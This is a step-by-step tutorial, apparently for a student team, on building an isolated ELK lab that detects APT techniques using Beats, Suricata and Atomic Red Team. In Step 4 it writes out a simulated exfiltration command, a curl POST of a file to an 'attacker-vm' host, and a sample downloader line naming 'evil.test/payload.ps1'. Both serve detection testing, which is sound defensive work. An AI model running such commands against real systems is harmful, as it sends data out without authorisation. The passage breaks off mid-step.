**STEP 1 — Design & Preparation (Architecture, Scope, Lab, Safety, Team Roles)**

This first step gets your project correctly planned and your lab / infrastructure prepared so every later step is fast and safe. Do **not** skip any sub-item — doing this well saves many hours later.

**1.1 What this step achieves (summary)**

* Decide scope (which logs, which APT techniques to emulate).
* Prepare a safe isolated lab environment (VMs / network / test hosts).
* Choose infrastructure (Docker vs VMs vs cloud).
* Create project repo, credentials, and a basic architecture diagram.
* Assign team roles & deliverables.
* Collect required accounts and API keys.
* Understand safety/legal constraints (don’t run attack tests on production).

**1.2 Why this step is important**

* ELK and attack simulation need careful environment choices (resource sizing, isolation).
* Running APT emulations on production can crash systems / break policies — an isolated lab removes this risk.
* Clear roles and a diagram let 6 beginners work in parallel with minimal conflict.

**1.3 Checklist — items to complete in this step**

(Complete every line; mark ✓ as you finish.)

1. Create a new GitHub repo for the project.
2. Choose project host: local laptop(s) + VMs OR cloud (AWS/Google/Azure) — decide now.
3. Prepare at least 3 virtual machines for testing:
   * VM-A: ELK stack node (can be one VM for dev POC).
   * VM-B: Windows test host (for Windows Event logs & PowerShell tests).
   * VM-C: Linux test host (for Linux syslog, SSH lateral movement tests).  
     Optionally: VM-D as attacker machine (Kali) and a Suricata/Zeek sensor VM.
4. Confirm hardware: each VM with at least 2 vCPU, 4–8 GB RAM; ELK host preferably 8+ GB RAM.
5. Decide Docker or native install for ELK; **for beginners use Docker Compose**.
6. Set host kernel setting vm.max\_map\_count=262144 (required for Elasticsearch).
7. Create a Google Drive / shared folder for docs, screenshots, and exported rules.
8. Create an architecture diagram (simple box-and-arrow) and post to repo README.
9. Assign team roles (Infra, Beats, Logstash, Rules, Attack-sim, Dashboard, Demo).
10. Download Atomic Red Team technique list and pick 6 techniques to emulate (e.g., PowerShell download, credential dumping, lateral movement, file transfer).
11. Prepare safety notice & runbook: how to stop tests & revert VMs (snapshots).
12. Ensure one team member is responsible for backups & snapshots (create VM snapshots now).
13. Create an issues / tasks board (GitHub Issues, Trello, or similar).

**1.4 Detailed actions & commands**

**A. Create the project repo**

* Go to <https://github.com> and create a repository (e.g., elk-apt-detection).
* Add a README.md describing purpose and a short architecture ASCII diagram (we’ll fill later).
* Create these top-level folders in the repo:
* /docs
* /docker
* /logstash/pipelines
* /beats/configs
* /rules
* /dashboards
* /atomic-tests
* Commit an initial README and push.

**Links**

* GitHub: <https://github.com/new>

**B. Decide infrastructure (local vs cloud)**

**Option (A) — Local / VM-based (recommended for beginners):**

* Use VirtualBox + Vagrant or VMware Workstation / Player.
* Benefits: full control; no cloud costs; easy snapshots.
* Requirements: a host PC with ~16 GB RAM recommended to run multiple VMs.

**Option (B) — Cloud (AWS/GCP/Azure):**

* Use small instances (t2.medium / e2-medium) but ELK benefits from more RAM. Cloud works if you have credits but requires careful security (open ports).
* If cloud, restrict access by IP and enable firewall rules.

**Links**

* VirtualBox: https://www.virtualbox.org/
* Vagrant (optional): https://www.vagrantup.com/

**C. Create test VMs & snapshots (isolation & rollback)**

**Why:** If a test goes wrong, you can revert to snapshot.

**VirtualBox example (manually):**

1. Create VM for ELK: Ubuntu 22.04 LTS, 8 GB RAM, 50+ GB disk.
2. Create VM for Windows: Windows 10/11 VM (for Winlogbeat).
3. Create VM for Linux test host: Ubuntu 22.04, 4 GB RAM.
4. (Optional) Kali Linux VM for attacker.
5. After setting up each VM and updating it, **take a snapshot**.

**Links**

* Ubuntu images: <https://ubuntu.com/download>
* Windows evaluation ISOs: <https://www.microsoft.com/en-us/evalcenter>
* Kali Linux: https://www.kali.org/get-kali/

**D. Set kernel parameter for Elasticsearch (vm.max\_map\_count)**

**Why:** Elasticsearch requires vm.max\_map\_count to be set high enough.

**Command (run on the ELK host VM — Linux):**

# temporary (until reboot)

sudo sysctl -w vm.max\_map\_count=262144

# permanent (persist across reboots)

echo 'vm.max\_map\_count=262144' | sudo tee -a /etc/sysctl.conf

sudo sysctl -p

**Link**

* Elastic doc: <https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html#docker-cli-run-prod-mode>

**E. Create simple architecture diagram**

* Draw a simple diagram showing:
  + Data Sources (Windows host, Linux host, Suricata) → Beats → Logstash → Elasticsearch → Kibana → Response (SOAR/Ticketing).
* Save as docs/architecture.png and add to repo README.
* You can use draw.io (diagrams.net) to draw it quickly.

**Tools**

* diagrams.net (draw.io): https://app.diagrams.net/

**F. Choose ELK deployment method (Docker Compose recommended for POC)**

* For beginners, we recommend deviantony/docker-elk because it is well-documented and quick.
* **Clone repo (on ELK host VM):**

# On ELK VM (Ubuntu)

sudo apt update && sudo apt upgrade -y

# Install Docker & Docker Compose (if not already)

# Docker: https://docs.docker.com/engine/install/ubuntu/

# Compose: https://docs.docker.com/compose/install/

# Clone docker-elk

git clone https://github.com/deviantony/docker-elk.git

cd docker-elk

# Before starting, edit .env if you want custom passwords

docker compose up -d

**Links**

* docker-elk: [https://github.com/deviantony/docker-elk](https://github.com/deviantony/docker-elk?utm_source=chatgpt.com)
* Docker install (Ubuntu): https://docs.docker.com/engine/install/ubuntu/
* Docker Compose: https://docs.docker.com/compose/install/

**G. Pick initial APT techniques to emulate (Atomic Red Team)**

* Go to Atomic Red Team: [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team?utm_source=chatgpt.com) and [https://www.atomicredteam.io/](https://www.atomicredteam.io/?utm_source=chatgpt.com)
* Choose **6 techniques** to test detection rules for example:
  1. T1059.001 — PowerShell (command execution)
  2. T1021 — Remote Services (RDP/SSH)
  3. T1003 — Credential Dumping
  4. T1041 — Exfiltration Over C2 Channel
  5. T1078 — Valid Accounts (suspicious logins)
  6. T1055 — Process Injection (Advanced)
* Put the technique list in repo: atomic-tests/selected-techniques.md

**Important Safety Note:** Run these only in isolated lab VMs, never on production systems.

**Links**

* Atomic Red Team: [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team?utm_source=chatgpt.com)
* MITRE ATT&CK: [https://attack.mitre.org/](https://attack.mitre.org/?utm_source=chatgpt.com)

**H. Create Safety & Recovery runbook**

Put a docs/runbook.md covering:

* How to stop tests (kill process, remove network interface).
* How to revert VM snapshot.
* Contact person and emergency steps.
* Keep all test credentials in a secure local place (not in public repo).

**Template content example** (docs/runbook.md):

# Emergency Stop

1. If test behaves unexpectedly: on attacker VM run: sudo pkill -f <atomic-test-process>

2. On target VM: disconnect network adapter from VirtualBox

3. Revert snapshot: VirtualBox -> Machine -> Snapshots -> Restore

**I. Assign team roles & create task board**

Use GitHub Projects / Trello to create tasks. Example roles and initial tasks:

* **Infra Lead**: Prepare ELK VM, set kernel param, docker compose up. (Task: ELK VM ready)
* **Beats Lead**: Install Filebeat/Winlogbeat on test VMs. (Task: Beats installed)
* **Logstash Lead**: Prepare Logstash pipeline folder. (Task: pipeline skeleton)
* **Rules Lead**: Pick Atomic techniques and draft initial detection rules (PowerShell). (Task: 2 rules drafted)
* **Attack Sim Lead**: Prepare Atomic Red Team scripts & schedule safe test times. (Task: 3 techniques ready)
* **Dashboard/Demo Lead**: Create repository README and architecture image; prepare demo slide. (Task: Demo script initial draft)

Record each task in the board and assign owners.

**1.5 Permissions & security basics (important)**

* Do **not** expose Kibana/Elasticsearch ports to the public internet. Restrict access via firewall or SSH tunnel.
* Create strong passwords for the Elastic user and document them in a secure file (or use environment variables in .env).
* For Docker Compose, set passwords in .env not checked into repo (add .env to .gitignore).
* Use snapshots before running any Atomic tests.

**Links**

* Elasticsearch security & TLS: <https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-tls.html>
* Kibana security: <https://www.elastic.co/guide/en/kibana/current/security-settings-kb.html>

**1.6 Deliverables for Step 1 (what you must produce and commit)**

* A GitHub repo with folders and a README.
* docs/architecture.png or architecture.drawio (diagram).
* docs/runbook.md (safety & revert steps).
* VM snapshots taken for all test VMs.
* atomic-tests/selected-techniques.md listing chosen MITRE techniques.
* Team roles & task board items created.

**1.7 Useful links & resources (step 1)**

* GitHub repo creation: <https://github.com/new>
* VirtualBox: https://www.virtualbox.org/
* Vagrant: https://www.vagrantup.com/
* Ubuntu download: <https://ubuntu.com/download>
* Windows evaluation: <https://www.microsoft.com/en-us/evalcenter>
* Kali Linux: https://www.kali.org/get-kali/
* Docker install (Ubuntu): https://docs.docker.com/engine/install/ubuntu/
* Docker Compose: https://docs.docker.com/compose/install/
* deviantony/docker-elk: [https://github.com/deviantony/docker-elk](https://github.com/deviantony/docker-elk?utm_source=chatgpt.com)
* Atomic Red Team: [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team?utm_source=chatgpt.com) and [https://www.atomicredteam.io/](https://www.atomicredteam.io/?utm_source=chatgpt.com)
* MITRE ATT&CK: [https://attack.mitre.org/](https://attack.mitre.org/?utm_source=chatgpt.com)
* vm.max\_map\_count docs & Elasticsearch Docker notes: <https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html>

**1.8 Common beginner pitfalls & how to avoid them**

* **Pitfall:** Running Atomic tests on corporate laptop. → **Avoid by using snapshots and isolated VMs.**
* **Pitfall:** Not setting vm.max\_map\_count and failing to start Elasticsearch. → **Follow commands above.**
* **Pitfall:** Committing secrets (passwords, API keys) to GitHub. → **Add .env to .gitignore** and store secrets elsewhere.
* **Pitfall:** Exposing Kibana to the internet — risk of data leak. → **Block port 5601 in firewall or use SSH tunnel.**

**STEP 2 — Deploy ELK (Detailed)**

**Goal**

Bring up a working ELK proof-of-concept (single-node) you can use to ingest logs, author rules, and build dashboards.

Recommended approach for beginners: **Docker Compose** using the deviantony/docker-elk starter. It bundles Elasticsearch, Logstash, Kibana and useful config for a POC. I’ll show the exact commands and the key config you should change.

**2.0 Prerequisites (before starting)**

* You completed Step 1 (VM created, vm.max\_map\_count set).
* ELK host VM: Ubuntu 22.04 (or similar) with **≥8 GB RAM** for comfortable single-node POC.
* Docker & Docker Compose installed on ELK host.

If Docker/Compose are not installed, install them first:

**Install Docker (Ubuntu example)**

# Update

sudo apt update

sudo apt install -y ca-certificates curl gnupg lsb-release

# Add Docker’s GPG key and repo

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

echo \

"deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \

$(lsb\_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# Install Docker Engine

sudo apt update

sudo apt install -y docker-ce docker-ce-cli containerd.io

# Add current user to docker group (logout/login needed)

sudo usermod -aG docker $USER

Docs: https://docs.docker.com/engine/install/ubuntu/

**Install Docker Compose**

# Modern Docker Compose (plugin)

sudo apt update

sudo apt install -y docker-compose-plugin

# Verify

docker compose version

Docs: https://docs.docker.com/compose/install/

If you prefer classic docker-compose binary, follow docs — but the plugin is fine.

**2.1 Option A — Quick Docker Compose (recommended for POC)**

**2.1.1 Get the repo and start**

# On ELK host VM

cd ~

git clone https://github.com/deviantony/docker-elk.git

cd docker-elk

Open the .env file and review environment variables (default passwords etc.). **Do not commit .env to public repo.** You can change ELASTIC\_PASSWORD and KIBANA\_PASSWORD if you want.

Start the stack:

docker compose up -d

This pulls images and starts containers:

* elasticsearch
* kibana
* logstash
* filebeat (in some variants)
* optionally, other helpers

**Note:** First startup can take several minutes while images download.

**2.1.2 Verify containers are running**

docker compose ps

# or

docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"

**2.1.3 Check Elasticsearch health**

# Replace ELASTIC\_PASSWORD if you changed it

curl -u elastic:changeme -k https://localhost:9200/\_cluster/health?pretty

Response should show "status" : "green" or "yellow" (green is ideal; yellow is okay for single-node indices).

**2.1.4 Open Kibana**

* In browser on ELK host (or via SSH tunnel): http://<ELK\_HOST\_IP>:5601
* Login with elastic / your ELASTIC\_PASSWORD.

If Kibana fails to load, check logs:

docker compose logs kibana --tail 200

docker compose logs elasticsearch --tail 200

**Common fix:** Increase VM resources; Elasticsearch fails to allocate if low RAM.

**2.2 Key configuration files & what to change**

Open docker-elk folder — important files:

* .env — passwords and exposed ports. Set ELASTIC\_PASSWORD strong value.
* docker-compose.yml — service definitions, volumes, ports.
* logstash/pipeline/ — initial pipeline definitions (if provided).

**Important settings to set before starting**

1. **ELASTIC\_PASSWORD** (in .env):
   * Use a strong password and store securely (not in Git).
2. **Memory settings**:
   * You can adjust ES\_JAVA\_OPTS for Elasticsearch via environment variables to limit heap, e.g. -Xms4g -Xmx4g for 4GB.
   * In Docker Compose environment for elasticsearch service:
   * environment:
   * - ES\_JAVA\_OPTS=-Xms4g -Xmx4g
   * For small VMs you may set to 2g, but performance will be degraded.
3. **Persistent storage**:
   * Docker volumes map to local host paths. Ensure docker-elk's volumes: are pointing to directories large enough.
   * Example:
   * volumes:
   * - esdata:/usr/share/elasticsearch/data
   * volumes:
   * esdata:
   * driver: local
   * Keep enough disk space; logs/indexes grow fast.

**2.3 Option B — Native / Package installs (alternative)**

If you prefer manual installs (not recommended for beginners), follow Elastic docs:

* Install Elasticsearch: <https://www.elastic.co/guide/en/elasticsearch/reference/current/deb.html>
* Install Logstash: <https://www.elastic.co/guide/en/logstash/current/installing-logstash.html>
* Install Kibana: <https://www.elastic.co/guide/en/kibana/current/deb.html>

Native installs require more OS-level config (systemd units, TLS, user permissions).

**2.4 Configure basic security (do this before exposing Kibana/ES to network)**

**DO NOT** expose Elasticsearch/Kibana to the public internet. For local team access:

**Option 1 — SSH port forwarding (safe)**

From developer machine:

# Forward local port 5601 to remote kibana host

ssh -L 5601:localhost:5601 user@elk-host

# Then open http://localhost:5601 in your browser

**Option 2 — firewall & bind addresses**

* Use ufw to restrict inbound access:

sudo ufw allow from <your-ip> to any port 5601 proto tcp

sudo ufw enable

* Or configure Kibana to listen only on 127.0.0.1 and use tunnels.

**Enable TLS & RBAC (production)**

Elastic has built-in security — follow docs for production: TLS certs, user roles, and API keys.  
Docs: <https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-tls.html>

**2.5 Add a simple Logstash pipeline for test ingestion (optional quick test)**

Create docker-elk/logstash/pipeline/test.conf:

input {

beats {

port => 5044

}

}

filter {

mutate { add\_field => { "received\_via" => "beats-test" } }

}

output {

elasticsearch {

hosts => ["elasticsearch:9200"]

index => "test-logs-%{+YYYY.MM.dd}"

user => "elastic"

password => "${ELASTIC\_PASSWORD}"

}

stdout { codec => rubydebug }

}

Then restart Logstash:

docker compose restart logstash

This pipeline will accept Filebeat/Beats input at port 5044. We’ll configure Filebeat in Step 3.

**2.6 Verify ELK is healthy (checks to perform)**

1. docker compose ps — all main containers up.
2. curl -u elastic:<password> -k https://localhost:9200 — Elasticsearch responds.
3. Kibana UI reachable at http://<host>:5601.
4. In Kibana → **Stack Management → Index Management** you can view indices. At this point you may see system indices like .kibana\*.

**2.7 Troubleshooting common issues**

**Elasticsearch container fails to start**

* Check logs:

docker compose logs elasticsearch --tail 200

* Common causes:
  + vm.max\_map\_count not set — fix with command in Step 1.
  + Insufficient RAM — reduce ES\_JAVA\_OPTS or allocate more memory to VM.
  + Disk full — ensure enough disk space.

**Kibana shows “Waiting for Elasticsearch”**

* Check Elasticsearch is up and healthy. Check Kibana logs:

docker compose logs kibana --tail 200

**Logstash pipeline errors**

* Check Logstash logs and config syntax. Use docker compose logs logstash --tail 200.
* Ensure pipeline file names end with .conf. Grok patterns must match actual messages.

**2.8 Persistent storage and data safety**

* Elasticsearch stores indices under the configured data path within the container volume. Make sure to map to host disk with enough capacity (50+ GB for POC depending on data).
* Use docker-compose.yml volumes or host bind mounts:

volumes:

esdata:

driver: local

services:

elasticsearch:

volumes:

- esdata:/usr/share/elasticsearch/data

* For production, configure snapshots to remote storage (S3): <https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html>

**2.9 Next steps after ELK running**

* Install Filebeat/Winlogbeat on your test VMs and point them to Logstash (we’ll cover details in Step 3).
* Create a small Logstash pipeline (we added example test.conf) to ensure Beats can talk to Logstash.
* Practice viewing incoming logs in Kibana Discover.

**2.10 Useful links for Step 2**

* docker-elk repo (starter): [https://github.com/deviantony/docker-elk](https://github.com/deviantony/docker-elk?utm_source=chatgpt.com)
* Elasticsearch Docker notes & vm.max\_map\_count: <https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html>
* Kibana docs & install: <https://www.elastic.co/guide/en/kibana/current/index.html>
* Logstash docs: <https://www.elastic.co/guide/en/logstash/current/index.html>
* Docker install (Ubuntu): https://docs.docker.com/engine/install/ubuntu/
* Docker Compose plugin: https://docs.docker.com/compose/cli-command/
* Elasticsearch JVM tuning: <https://www.elastic.co/guide/en/elasticsearch/reference/current/heap-size.html>

**2.11 Deliverables for Step 2 (what to commit / mark done)**

* docker-elk cloned and running (docker compose up -d) on ELK VM.
* Kibana accessible at http://<ELK\_HOST>:5601 (or via SSH tunnel).
* Basic Logstash pipeline logstash/pipeline/test.conf created and Logstash restarted.
* ELK health check curl output stored in docs/elk-health.txt.
* Screenshots of Kibana home page saved to repo docs/screenshots/kibana-home.png.

**2.12 Security reminder (do now)**

* If your ELK host is on a network, **block incoming ports** (9200, 5601) from public internet. Use firewall or cloud security group.
* Store passwords offline; don’t push secrets to GitHub. Add .env to .gitignore.

**🧩 Step 3 — Log Collection via Beats**

**🎯 Goal**

To collect logs (system logs, authentication logs, network traffic, PowerShell commands, etc.) from multiple machines and send them to **Logstash**, which then forwards them to **Elasticsearch**.

We’ll set up and configure:

1. **Filebeat** – for system & application logs
2. **Winlogbeat** – for Windows Event Logs
3. *(Optional later)* Packetbeat / Auditbeat – for network & security data

**🧱 3.1 Understanding the Architecture**

**Flow:**

(Endpoints / Servers)

│

├── Filebeat / Winlogbeat (collect logs)

│

▼

Logstash → Elasticsearch → Kibana (visualize)

Beats run on each machine → collect logs → send to Logstash on your ELK VM → Logstash pipelines parse → Elasticsearch indexes → Kibana dashboards display.

**⚙️ 3.2 Install and Configure Filebeat (Linux)**

**📌 Step 1: Install Filebeat**

Run on the machine you want to monitor (can be same as ELK VM).

# Download & install Filebeat

curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-8.15.0-amd64.deb

sudo dpkg -i filebeat-8.15.0-amd64.deb

📘 Docs: [Filebeat Install Guide (Linux)](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-installation.html)

**📌 Step 2: Configure Filebeat**

Open config file:

sudo nano /etc/filebeat/filebeat.yml

Search for the **output** section.  
By default, Filebeat sends directly to Elasticsearch — but we’ll send to **Logstash** (so we can parse and filter later).

**🔧 Modify this section:**

# Disable Elasticsearch output

# output.elasticsearch:

# hosts: ["localhost:9200"]

# Enable Logstash output

output.logstash:

hosts: ["<ELK\_VM\_IP>:5044"]

*(Make sure port 5044 is open and reachable from this machine.)*

**📦 Step 3: Enable default modules**

These modules collect logs from common services (system, ssh, apache, etc.)

sudo filebeat modules enable system

sudo filebeat modules enable ssh

To list all available modules:

sudo filebeat modules list

You can enable others later like nginx, apache, auditd, etc.

**📊 Step 4: Test Configuration**

sudo filebeat test config

sudo filebeat test output

You should see something like:

logstash: <ELK\_VM\_IP>:5044...

connection...

OK

**▶️ Step 5: Start Filebeat**

sudo systemctl enable filebeat

sudo systemctl start filebeat

sudo systemctl status filebeat

Now Filebeat will start sending system logs to Logstash.

**🧾 Step 6: Verify in Kibana**

Go to **Kibana → Discover**  
Select index pattern:  
If you followed previous setup, you’ll see something like:

filebeat-8.15.0-\*

You should see live logs streaming in.

If not:

* Check Logstash pipeline (docker compose logs logstash --tail 200)
* Check Filebeat logs:
* sudo tail -f /var/log/filebeat/filebeat

**🪟 3.3 Install and Configure Winlogbeat (Windows)**

**📥 Step 1: Download**

Official download:  
<https://www.elastic.co/downloads/beats/winlogbeat>

Download .zip → extract to C:\Program Files\Winlogbeat

**⚙️ Step 2: Configure Output**

Edit C:\Program Files\Winlogbeat\winlogbeat.yml

Disable Elasticsearch output:

# output.elasticsearch:

# hosts: ["localhost:9200"]

Enable Logstash output:

output.logstash:

hosts: ["<ELK\_VM\_IP>:5044"]

**🧩 Step 3: Configure which Windows Logs to Collect**

In the same file:

winlogbeat.event\_logs:

- name: Application

- name: Security

- name: System

- name: Microsoft-Windows-PowerShell/Operational

These include login attempts, PowerShell executions, etc. — crucial for detecting APT behaviors.

**▶️ Step 4: Run and Test**

Open PowerShell (Admin):

cd "C:\Program Files\Winlogbeat"

.\winlogbeat.exe test config

.\winlogbeat.exe test output

.\install-service-winlogbeat.ps1

Start-Service winlogbeat

**🧾 Step 5: Verify in Kibana**

Open Kibana → Discover →  
Check if you see indices like:

winlogbeat-8.15.0-\*

If yes → success 🎉

You’re now receiving **Windows Event Logs** (login attempts, PowerShell usage, etc.).

**🌐 3.4 (Optional Advanced) Packetbeat / Auditbeat**

Later, you can enhance your project by adding:

* **Packetbeat** → captures network traffic (detect lateral movement, C2 connections)
* **Auditbeat** → monitors Linux kernel events (e.g., file access, privilege escalation)

Installation is similar to Filebeat:  
<https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-installation.html>  
<https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-installation.html>

**🔒 3.5 Secure Beat Communication (Optional for later)**

If your beats send logs over public networks → use **TLS encryption**:  
<https://www.elastic.co/guide/en/beats/filebeat/current/configuring-ssl-logstash.html>

For SIH demo (local network), plain TCP is fine.

**🧠 3.6 Recap — What You’ve Achieved**

✅ Installed Filebeat on Linux machines  
✅ Installed Winlogbeat on Windows machines  
✅ Configured them to send logs to Logstash  
✅ Verified logs appear in Kibana Discover  
✅ Enabled multiple modules (system, ssh, PowerShell)

At this point — your ELK setup is **collecting real-world data**, which you’ll analyze to detect **APT behavior**.

**📘 Useful Links**

* Filebeat Guide → <https://www.elastic.co/guide/en/beats/filebeat/current/index.html>
* Winlogbeat Guide → <https://www.elastic.co/guide/en/beats/winlogbeat/current/index.html>
* Example Filebeat + Logstash + Kibana Integration → <https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-getting-started.html>
* Troubleshooting Beats → <https://www.elastic.co/guide/en/beats/filebeat/current/faq.html>

**Step 4 — Generate & Ingest APT Sample Data (detailed)**

**4.0 Goals of this step**

* Produce realistic, testable APT behavior logs (PowerShell execution, lateral movement, credential access, suspicious network activity).
* Ingest those logs into ELK (via Beats or Logstash).
* Tag events with technique IDs (MITRE ATT&CK) so you can map detections and evaluate rule performance.
* Keep everything safe and reversible (snapshots, isolated network).

**4.1 Safety / prerequisites (must read)**

* **Run tests only on lab VMs** created in Step 1. Use snapshots and revert if anything unexpected happens.
* **Do not** run any destructive payloads or malware. Use Atomic Red Team (emulation tests) which are intentionally non-destructive and documented.
* Ensure attacker VM and target VMs are isolated from your company network and Internet (or limit Internet access).
* Keep the runbook (from Step 1) handy to stop tests and revert snapshots.

Links / reading:

* Atomic Red Team: [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team?utm_source=chatgpt.com)
* Atomic Red Team docs (safe usage): [https://www.atomicredteam.io/](https://www.atomicredteam.io/?utm_source=chatgpt.com)

**4.2 Option A — Use Atomic Red Team (recommended for mapped MITRE tests)**

**Why use Atomic?**

* Pre-defined “atomic tests” map to MITRE ATT&CK techniques (e.g., PowerShell execution, credential dumping).
* Tests are documented and mostly non-destructive.

**Installation & usage (PowerShell example — runs on Windows test VM)**

1. On the **Windows test VM**, install dependencies (PowerShell 5+ comes with Windows 10/11).
2. Clone the repo or use Invoke-AtomicRedTeam module:

**Method 1 — Manual (clone)**

# On Windows (PowerShell)

git clone https://github.com/redcanaryco/atomic-red-team.git C:\atomic

# Explore tests

cd C:\atomic\atomics

Each technique folder contains a README and command to run.

**Method 2 — Invoke-AtomicRedTeam helper module (easier)**

# Install PS module (requires internet access on the VM)

Install-Module -Name InvokeAtomicRedTeam -Scope CurrentUser -Force

# List available tests

Import-Module InvokeAtomicRedTeam

Get-AtomicTest | Select-Object -First 20

# Run a test (example: T1059.001 PowerShell)

Invoke-AtomicTest T1059.001 -ShowDetails

Docs and module: <https://github.com/redcanaryco/atomic-red-team/tree/master/atomic/red-team>

**Important:** Inspect the commands before running. Use the -ShowDetails option to view the commands. Prefer to run only detection-friendly techniques (e.g., PowerShell command invocation with no payload download).

**Examples of Atomic tests to run (safe, non-destructive)**

* **T1059.001** — PowerShell: run a benign command that looks like a downloader (but doesn’t fetch): e.g. powershell -c "Write-Output 'TestPS'; Get-Process".
* **T1078** — Valid Accounts: simulate a login from another VM (RDP/SSH) with test credentials.
* **T1021** — Remote Services: SSH into target from attacker VM (record logs).
* **T1041** — Exfiltration Over C2 Channel: create a curl POST of a text file to an internal test HTTP server (not external internet).

Atomic Red Team docs: https://atomicredteam.io/

**4.3 Option B — Manual scripted events (quick & safe)**

If you prefer not to use Atomic or for Linux hosts, you can script benign-but-suspicious behaviors:

**Examples (Linux target VM)**

1. **Simulate privilege escalation attempt log entry** (write to auth log)

# on Linux test host (run as root to simulate logs)

logger -p authpriv.notice "Possible privilege escalation attempt: user test attempted sudo -l"

1. **Simulate suspicious PowerShell-like commands on Windows** (use PowerShell to log to event logs)

# On Windows test VM - create an event for PowerShell usage

New-EventLog -LogName Application -Source "APT-SIM"

Write-EventLog -LogName Application -Source "APT-SIM" -EntryType Warning -EventId 5000 -Message "Simulated PowerShell download: Invoke-WebRequest http://evil.test/payload.ps1"

1. **Simulate data exfil (HTTP POST to local server)**:

* Run a simple HTTP server on attacker VM (Python):

# On attacker VM

python3 -m http.server 8000

# On target VM (simulate exfil)

curl -X POST --data-binary @/path/to/file.txt http://attacker-vm:8000/upload

Logstash/Suricata will capture this if Packetbeat/Suricata are monitoring.

These manual logs are easy to parse and allow you to test detection rules quickly.

**4.4 Option C — Network-based artifacts (Suricata / Zeek)**

Suricata or Zeek produce network logs (EVE JSON for Suricata) that are great for detecting C2/exfil patterns.

**Install Suricata on your network sensor VM**

Docs: https://suricata.io/docs/  
Example (Ubuntu):

sudo apt update

sudo apt install -y suricata

# configure interface (edit /etc/suricata/suricata.yaml)

sudo systemctl enable --now suricata

Suricata outputs eve.json (set in suricata.yaml).

**Ingest Suricata EVE JSON into Logstash**

Create logstash/pipeline/suricata.conf:

input {

file {

path => "/var/log/suricata/eve.json"

start\_position => "beginning"

sincedb\_path => "/var/lib/logstash/suricata.sincedb"

codec => "json"

type => "suricata"

}

}

filter {

if [type] == "suricata" {

# you already have JSON parsed

mutate { add\_field => { "event.source" => "suricata" } }

}

}

output {

elasticsearch {

hosts => ["elasticsearch:9200"]

index => "suricata-%{+YYYY.MM.dd}"

user => "elastic"

password => "${ELASTIC\_PASSWORD}"

}

}

Restart Logstash (docker compose restart logstash).

Now, run network tests (curl POST to attacker) and Suricata will create entries in eve.json that Logstash ingests. Check Kibana suricata-\* index.

Suricata docs: https://suricata.readthedocs.io/en/latest/output/eve/eve-json-output.html

**4.5 Option D — Zeek (formerly Bro) flows & logs**

Zeek generates conn.log, dns.log, http.log etc.  
Install Zeek: https://docs.zeek.org/en/current/install.html  
Forward its logs similarly (Filebeat or Logstash file input).

**4.6 Ingesting Windows PowerShell Operational logs (important for APT)**

Windows PowerShell emits logs to the Microsoft-Windows-PowerShell/Operational channel.

Ensure Winlogbeat config includes:

winlogbeat.event\_logs:

- name: Microsoft-Windows-PowerShell/Operational

Additionally enable PowerShell Module Logging & ScriptBlockLogging on the test Windows VM (via Group Policy or registry) to capture command contents (for lab only).

**Enable ScriptBlockLogging (lab only)**

# On Windows (Admin PowerShell)

Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -Type DWord

Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockInvocationLogging" -Value 1 -Type DWord

Docs about PowerShell logging: https://learn.microsoft.com/en-us/powershell/scripting/security/overview-of-powershell-script-block-logging

After enabling, run a simulated PowerShell command and view the event in Kibana under winlogbeat-\*.

**Important privacy note:** ScriptBlockLogging records command contents — don’t enable in production without policy review.

**4.7 Tagging and labeling events with MITRE ATT&CK IDs**

To evaluate rules, add a field to events indicating which MITRE technique generated the log (helpful for benchmarking).

**Approaches:**

* Use a custom field while generating the test (e.g., add "atomic.mitre\_technique": "T1059.001" in manual JSON logs).
* For Atomic tests, wrap the invocation in a script that writes a labeled event to Windows Event Log or a custom log file which Filebeat picks up.

**Example (append to syslog file on Linux)**

logger -p user.alert -t atomic "MITRE:T1059.001 SimulatedPowerShellInvocation: powershell -c 'Write-Output Test'"

In Logstash you can parse that and add a field:

filter {

if "atomic" in [tags] or [message] =~ /MITRE:T/ {

grok { match => { "message" => "%{DATA:mitre\_label}" } }

mutate { add\_field => { "mitre.technique" => "%{mitre\_label}" } }

}

}

This labelling makes it straightforward to compute detection metrics (TP, FN) later.

**4.8 Replaying logs (log replay for mass-testing)**

If you already have log files (e.g., prior PCAP->logs), you can replay them fast:

**Method 1 — Filebeat read-from-file (for log lines)**

* Place sample log file /opt/samples/powerlogs.log on ELK host or Filebeat host.
* Configure filebeat input to read that path and send events; set close\_eof: true if you want one-time replay.  
  Filebeat input example:

filebeat.inputs:

- type: log

enabled: true

paths:

- /opt/samples/\*.log

fields:

replay: true

**Method 2 — Use curl to send JSON directly to Elasticsearch (for testing only)**

curl -u elastic:changeme -H 'Content-Type: application/json' -XPOST 'http://localhost:9200/test-logs-2025.10.08/\_doc' -d '{"message":"simulated event", "mitre":"T1059.001"}'

This immediately creates an index document for you to test dashboards/rules.

**Method 3 — Use logstash-input-http to post logs to Logstash pipeline**

Start Logstash input:

input {

http {

host => "0.0.0.0"

port => 8080

}

}

Then curl POST:

